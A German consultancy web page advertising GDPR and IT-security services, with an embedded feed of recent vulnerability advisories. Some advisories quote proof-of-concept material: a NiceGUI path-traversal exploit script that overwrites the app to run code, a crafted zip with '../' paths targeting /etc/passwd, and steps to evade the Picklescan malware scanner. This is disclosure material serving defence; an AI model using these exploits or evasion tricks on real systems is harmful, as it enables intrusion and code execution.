Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko 2 / 10 CVE-2026-11434 vor 3 Stunde(n)
A weakness has been identified in FluentCMS 0.0.5. The impacted element is an unknown function of the file /admin/blocks of the component Blocks Plugin. This manipulation causes cross site scripting. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
Risiko 2.9 / 10 CVE-2025-47737 vor 4 Stunde(n)
Our static analyzer find a potential unsound issue in the construction of Trailer, where it doesn't provide enough check to ensure the soundness. trailer/src/lib.rs, Lines 18 to 25 in d474984: ``` pub fn new(capacity: usize) -> Trailer { unsafe { let trailer = Trailer::allocate(capacity); let ptr = trailer.ptr as *mut T; ptr.write(T::default()); trailer } } ``` The constructor does not check the T is not a ZST in rust, and allocating with size 0 is considered as undefined behaviors in Rust. A poc code like below can work: ``` use trailer::Trailer; #[derive(Default)] struct Zst; fn main() { let mut a = Trailer::::new(0); drop(a); } ``` The trailer crate is unmaintained and this security issue will not be fixed.
Risiko 9.5 / 10 CVE-2025-10155 vor 4 Stunde(n)
### Summary Picklescan can be bypassed, allowing the detection of malicious pickle files to fail, when a standard pickle file is given a PyTorch-related file extension (e.g., .bin). This occurs because the scanner prioritizes PyTorch file extension checks and errors out when parsing a standard pickle file with such an extension instead of falling back to standard pickle analysis. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details The vulnerability stems from the logic in the scan_bytes function within picklescan/scanner.py, specifically around line 463:[ https://github.com/mmaitre314/picklescan/blob/75e60f2c02f3f1a029362e6f334e1921392dcf60/src/picklescan/scanner.py#L463](https://github.com/mmaitre314/picklescan/blob/75e60f2c02f3f1a029362e6f334e1921392dcf60/src/picklescan/scanner.py#L463) The code first checks if the file extension (file_ext) is in the pytorch_file_extension list. If it is (e.g., .bin), the scan_pytorch function is called. When a standard pickle file is encountered with a PyTorch extension, scan_pytorch will likely fail. Critically, the code then returns an Error without attempting to analyze the file as a standard pickle using scan_pickle_bytes. This prevents the detection of malicious payloads within such files. ### PoC - Download a malicious pickle file with a standard .pkl extension: wget -O model.pkl - Scan the file with Picklescan (correct detection): /home/davfr/Tests/HF/dangerous_model/model.pkl: dangerous import 'builtins exec' FOUND ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 1 Dangerous globals: 1 - Rename the file to use a PyTorch-related extension (e.g., .bin): cp model.pkl model.bin - Scan the renamed file with Picklescan: ![Screenshot 2025-06-29 at 9 38 13](https://github.com/user-attachments/assets/29a7886f-2d0e-48ca-832d-9a6699ae09f1) **Observed Result:** Picklescan fails and reports an error related to PyTorch parsing but does not detect the malicious pickle content. **Expected Result**: Picklescan should recognize the file as a standard pickle format despite the .bin extension and scan it accordingly, identifying the malicious content. ### Impact **Severity**: High **Affected Users**: Any organization or individual relying on Picklescan to ensure the safety of PyTorch models or other files that might contain embedded pickle objects. This includes users downloading pre-trained models or receiving files that could potentially contain malicious code. **Impact Details**: Attackers can craft malicious pickle payloads and disguise them within files using common PyTorch extensions (like .bin, .pt, etc.). These files would then bypass PickleScan's detection mechanism, allowing the malicious code to execute when the file is loaded by a vulnerable application or user. **Potential Exploits**: This vulnerability significantly weakens the security provided by PickleScan. It opens the door to various supply chain attacks, where malicious actors could distribute backdoored models through platforms like Hugging Face, PyTorch Hub, or even through direct file sharing. Users trusting PickleScan would be unknowingly exposed to these threats. **Recommendations** The most effective solution is to modify the scanning logic to ensure that standard pickle scanning is attempted as a fallback mechanism when PyTorch scanning fails or is not applicable. A suggested approach is: Attempt PyTorch Scan: If the file extension matches a known PyTorch extension, attempt to scan it as a PyTorch object. Fallback to Pickle Scan: Regardless of the success or failure of the PyTorch scan (or if the extension is not a PyTorch extension), always attempt to scan the file as a standard pickle. This ensures that files with misleading extensions are still analyzed for potential pickle-based vulnerabilities. ### Suggested Patch ``` --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -462,19 +462,28 @@ def scan_bytes(data: IO[bytes], file_id, file_ext: Optional[str] = None) -> Scan if file_ext is not None and file_ext in pytorch_file_extensions: try: return scan_pytorch(data, file_id) except InvalidMagicError as e: - _log.error(f"ERROR: Invalid magic number for file {e}") - return ScanResult([], scan_err=True) + _log.warning(f"PyTorch scan failed for {file_id} with extension {file_ext}: {e}") + # Don't return error here - continue to other scan methods elif file_ext is not None and file_ext in numpy_file_extensions: - return scan_numpy(data, file_id) - else: - is_zip = zipfile.is_zipfile(data) - data.seek(0) - if is_zip: - return scan_zip_bytes(data, file_id) - elif is_7z_file(data): - return scan_7z_bytes(data, file_id) - else: - return scan_pickle_bytes(data, file_id) + try: + return scan_numpy(data, file_id) + except Exception as e: + _log.warning(f"NumPy scan failed for {file_id}: {e}") + + # Always attempt additional format checks as fallback + data.seek(0) # Reset stream position + is_zip = zipfile.is_zipfile(data) + data.seek(0) + if is_zip: + return scan_zip_bytes(data, file_id) + elif is_7z_file(data): + return scan_7z_bytes(data, file_id) + else: + # FIX: Always attempt pickle scanning as fallback + # This prevents the vulnerability where pickle files with wrong extensions bypass detection + return scan_pickle_bytes(data, file_id) ```
Risiko 9.5 / 10 CVE-2025-10156 vor 4 Stunde(n)
### Summary Picklescan's ability to scan ZIP archives for malicious pickle files is compromised when the archive contains a file with a bad Cyclic Redundancy Check (CRC). Instead of attempting to scan the files within the archive, whatever the CRC is, Picklescan fails in error and returns no results. This allows attackers to potentially hide malicious pickle payloads within ZIP archives that PyTorch might still be able to load (as PyTorch often disables CRC checks). ### Details Picklescan likely utilizes Python's built-in zipfile module to handle ZIP archives. When zipfile encounters a file within an archive that has a mismatch between the declared CRC and the calculated CRC, it can raise an exception (e.g., BadZipFile or a related error). It appears that Picklescan does not try to scan the files whatever the CRC is. This behavior contrasts with PyTorch's model loading capabilities, which in many cases might bypass CRC checks for ZIP archives - whatever the configuration is. This discrepancy creates a blind spot where a malicious model packaged in a ZIP with a bad CRC could be loaded by PyTorch while being completely missed by Picklescan. ### PoC 1. Download an existing Pytorch model with a bad CRC `wget -O pytorch_model.bin` 2. Attempt to scan the corrupted ZIP file with PickleScan: ``` # Assuming you have Picklescan installed and in your PATH picklescan -p pytorch_model.bin ``` ![Screenshot 2025-06-29 at 13 52 07](https://github.com/user-attachments/assets/b7d7aca2-b7cd-4e7d-92f8-32ca4c42a000) **Observed Result**: Picklescan returns no results and presents an error message indicating a problem with the ZIP file, but it doesn’t attempt to scan any potentially valid pickle files within the archive. **Expected Result:** Picklescan should either: - Attempt to extract and scan other valid files within the ZIP archive, even if some have CRC errors. - Report a warning indicating that the ZIP archive has CRC errors and might be incomplete or corrupted, but still attempt to scan any accessible content. ### Impact **Severity**: High **Affected Users**: Any organization or individual using Picklescan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads, package them into ZIP archives, and intentionally introduce CRC errors. This would cause Picklescan to fail to analyze the archive, while PyTorch is still able to load the model (depending on its configuration regarding CRC checks). This creates a significant vulnerability where malicious code can be distributed and potentially executed without detection by Picklescan. **Ex: Picklescan on HuggingFace goes into error** (https://huggingface.co/jinaai/jina-embeddings-v2-base-en/tree/main) ![Screenshot 2025-06-29 at 13 55 58](https://github.com/user-attachments/assets/1da2d2ce-ad3e-4bf1-addc-d8a18db5eac9) **Recommendations:** Picklescan should not fail on Bad CRC check, especially if Pytorch is not checking CRC. Relaxed Zipfile is perfect to fix this issue: ``` --- picklescan/src/picklescan/relaxed_zipfile.py +++ picklescan/src/picklescan/relaxed_zipfile.py @@ class RelaxedZipFile(zipfile.ZipFile): try: # Skip the file header: fheader = zef_file.read(sizeFileHeader) if len(fheader) != sizeFileHeader: raise zipfile.BadZipFile("Truncated file header") fheader = struct.unpack(structFileHeader, fheader) if fheader[_FH_SIGNATURE] != stringFileHeader: raise zipfile.BadZipFile("Bad magic number for file header") zef_file.read(fheader[_FH_FILENAME_LENGTH]) if fheader[_FH_EXTRA_FIELD_LENGTH]: zef_file.read(fheader[_FH_EXTRA_FIELD_LENGTH]) - return zipfile.ZipExtFile(zef_file, mode, zinfo, pwd, True) + + # Create the ZipExtFile and disable CRC check + ext_file = zipfile.ZipExtFile(zef_file, mode, zinfo, pwd) + # Monkey-patch to skip CRC validation + ext_file._expected_crc = None + return ext_file except BaseException: zef_file.close() raise ```
Risiko 9.5 / 10 CVE-2025-10157 vor 4 Stunde(n)
### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from PickleScan's strict check for full module names against its list of unsafe globals. By using subclasses of dangerous imports instead of the exact module names, attackers can circumvent the check and inject malicious payloads. ### PoC 1. Download a model that uses the `asyncio` package: ```wget https://huggingface.co/iluem/linux_pkl/resolve/main/asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl``` 2. Check with PickleScan: `picklescan -p asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl -g` **Expected Result:** PickleScan should identify all `asyncio` import as dangerous and flag the pickle file as malicious as `asyncio` is in `_unsafe_globals` dictionary. **Actual Result:** ![Screenshot 2025-06-29 at 14 13 38](https://github.com/user-attachments/assets/39467f50-5cdb-4c25-bb37-35c03dc4a626) PickleScan marked the import as Suspicious, failing to identify it as a dangerous import. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads, package them into ZIP archives, and bypass the PickleScan check by using subclasses of dangerous imports. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. **Recommendations:** **Replace:** https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L309C9-L309C54 ` unsafe_filter = _unsafe_globals.get(g.module)` by: ``` matched_key = None if imported_global.module: for key_in_globals in unsafe_globals.keys(): # Check if imported_global.module starts with the key_in_globals AND # (it's the first match OR this key is more specific than the previous match) # AND imported_global.module is exactly the key or imported_global.module is key + '.' + something if imported_global.module.startswith(key_in_globals): if (imported_global.module == key_in_globals or # Exact match (len(imported_global.module) > len(key_in_globals) and imported_global.module[len(key_in_globals)] == '.')): # Submodule match if matched_key is None or len(key_in_globals) > len(matched_key): matched_key = key_in_globals if matched_key: unsafe_filter = unsafe_globals[matched_key] ```
Risiko ? / 10 OSV-2024-679 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70554 ``` Crash type: Heap-buffer-overflow WRITE 1 Crash state: readImage4v2 PCXHandler::read kimgio_fuzzer.cc ```
Risiko ? / 10 OSV-2023-444 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=59450 ``` Crash type: Heap-buffer-overflow READ 4 Crash state: opj_jp2_apply_pclr opj_jp2_decode cv::detail::Jpeg2KOpjDecoderBase::readData ```
Risiko ? / 10 OSV-2023-800 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62098 ``` Crash type: Heap-buffer-overflow WRITE 1 Crash state: XCFImageFormat::loadTileRLE XCFImageFormat::loadLevel XCFImageFormat::loadHierarchy ```
Risiko ? / 10 OSV-2022-834 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50924 ``` Crash type: Heap-use-after-free WRITE 8 Crash state: mk_event_timeout_destroy flb_sched_destroy flb_config_exit ```
Risiko ? / 10 OSV-2023-55 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=55722 ``` Crash type: Index-out-of-bounds Crash state: LibRaw::apply_tiff LibRaw::parse_jpeg LibRaw::identify ```
Risiko ? / 10 OSV-2022-372 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46994 ``` Crash type: Heap-buffer-overflow READ 8 Crash state: dwg_encode_VERTEX_2D dwg_encode_add_object dwg_encode ```
Risiko ? / 10 OSV-2022-1277 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60089 ``` Crash type: Heap-use-after-free WRITE 8 Crash state: mk_event_timeout_destroy flb_sched_destroy flb_config_exit ```
Risiko ? / 10 OSV-2021-948 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=35950 ``` Crash type: Use-of-uninitialized-value Crash state: residual_coding read_transform_unit read_transform_tree ```
Risiko ? / 10 OSV-2021-586 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=32682 ``` Crash type: Use-of-uninitialized-value Crash state: void intra_prediction_angular void decode_intra_prediction_internal decode_intra_prediction ```
Risiko ? / 10 OSV-2021-525 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=32059 ``` Crash type: Use-of-uninitialized-value Crash state: void edge_filtering_chroma_internal edge_filtering_chroma thread_task_deblock_CTBRow::work ```
Risiko 7.5 / 10 CVE-2026-11413 vor 4 Stunde(n)
A security vulnerability has been detected in JingDong JD Cloud Box AX6600 4.5.3.r4546. The impacted element is the function set_macfilter of the file /sbin/jdcweb_rpc. The manipulation leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Risiko ? / 10 OSV-2020-876 vor 4 Stunde(n)
OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=21783 ``` Crash type: Use-of-uninitialized-value Crash state: XCFImageFormat::mergeRGBToRGB XCFImageFormat::mergeLayerIntoImage XCFImageFormat::loadLayer ```
Risiko 7.5 / 10 CVE-2026-11211 vor 1 Tag(en)
Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
Risiko 9.5 / 10 CVE-2025-14009 vor 108 Tag(en)
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
Risiko 7.5 / 10 CVE-2026-25732 vor 119 Tag(en)
### Summary NiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. **Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. ### Details **Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115)) **Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()` ```py async def save(self, path: str | Path) -> None: target = Path(path) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ``` **Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts: - Relative paths with `../` sequences - Absolute paths - Any file system location writable by the process When developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs: ```py save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py" await e.file.save(save_path) # Writes outside UPLOAD_DIR ``` ### PoC - Terminal 1 (App) ```bash cd /tmp && mkdir -p evilgui && cd evilgui python3 -m venv evilgui && source evilgui/bin/activate pip install nicegui cat > vulnerable_app.py << 'EOF' from nicegui import ui from pathlib import Path UPLOAD_DIR = Path('./uploads') UPLOAD_DIR.mkdir(exist_ok=True) @ui.page('/') def index(): async def handle_upload(e): save_path = UPLOAD_DIR / e.file.name await e.file.save(save_path) ui.notify(f'File saved: {e.file.name}') ui.upload(on_upload=handle_upload, auto_upload=True) ui.run(port=8080, reload=False) EOF python3 vulnerable_app.py & ``` - Terminal 2 (Exploit) ```bash cat > exploit.py << 'EOF' import requests, re, time s = requests.Session() s.get('http://localhost:8080') time.sleep(2) html = s.get('http://localhost:8080').text match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html) upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}' payload = '''from nicegui import ui import subprocess @ui.page("/") def index(): ui.label(subprocess.check_output(["id"], text=True)) ui.run(port=8080, reload=False) ''' s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')}) EOF python3 exploit.py ``` - Restart the application to execute the injected code: ``` pkill -f vulnerable_app && python3 vulnerable_app.py ``` - Observe http://localhost:8080 ### Impact **Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path. **Attack Capabilities**: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files **Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples. ### Remediation #### For Users ```py async def handle_upload(e): safe_name = Path(e.file.name).name # Strip directory components! await e.file.save(UPLOAD_DIR / safe_name) ``` #### For Maintainers ```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve() if base_dir is not None: base_dir = base_dir.resolve() if not target.is_relative_to(base_dir): raise ValueError( f"Path '{target}' escapes base directory '{base_dir}'" ) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ````
Risiko 7.5 / 10 CVE-2025-67221 vor 135 Tag(en)
The orjson.dumps function in orjson before 3.11.6 does not limit recursion for deeply nested JSON documents.
Risiko 7.5 / 10 CVE-2025-58755 vor 270 Tag(en)
### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py test_bundle ``` Then start the http service through python ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')" 2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download --- 2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle' 2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract' 2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting' 2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip' 2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_' 2025-08-11 20:49:01,668 - INFO - > progress: True 2025-08-11 20:49:01,668 - INFO - --- test_bundle.zip: 8.00kB [00:00, 204kB/s] 2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip 2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip. 2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract. 2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls / autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var bin dev init lib64 media proc sbin tmp boot etc lib libx32 mnt root srv usr ``` We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage. ### Impact Arbitrary file write ### Repair Suggestions Check the contents of the downloaded Zip file, or use a safer method to load it
Risiko 7.5 / 10 CVE-2024-5187 vor 729 Tag(en)
A vulnerability in the `download_model_with_test_data` function of the onnx/onnx framework, versions before 1.16.2, allow for arbitrary file overwrite due to inadequate prevention of path traversal attacks in malicious tar files. This vulnerability enables attackers to overwrite any file on the system, potentially leading to remote code execution, deletion of system, personal, or application files, thus impacting the integrity and availability of the system. The issue arises from the function's handling of tar file extraction without performing security checks on the paths within the tar file, as demonstrated by the ability to overwrite the `/home/kali/.ssh/authorized_keys` file by specifying an absolute path in the malicious tar file.
Risiko 5 / 10 CVE-2009-0662 vor 6253 Tag(en)
The PlonePAS product 3.x before 3.9 and 3.2.x before 3.2.2, a product for Plone, does not properly handle the login form, which allows remote authenticated users to acquire the identity of an arbitrary user via unspecified vectors.
Risiko 7.5 / 10 CVE-2008-0164 vor 6652 Tag(en)
Multiple cross-site request forgery (CSRF) vulnerabilities in Plone CMS before 3.1 allow remote attackers to (1) add arbitrary accounts via the join_form page and (2) change the privileges of arbitrary groups via the prefs_groups_overview page.
Risiko 5 / 10 CVE-2006-4249 vor 7120 Tag(en)
Unspecified vulnerability in PlonePAS in Plone 2.5 and 2.5.1, when anonymous member registration is enabled, allows an attacker to "masquerade as a group."
Risiko 7.5 / 10 CVE-2006-4247 vor 7189 Tag(en)
Unspecified vulnerability in the Password Reset Tool before 0.4.1 on Plone 2.5 and 2.5.1 Release Candidate allows attackers to reset the passwords of other users, related to "an erroneous security declaration."

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

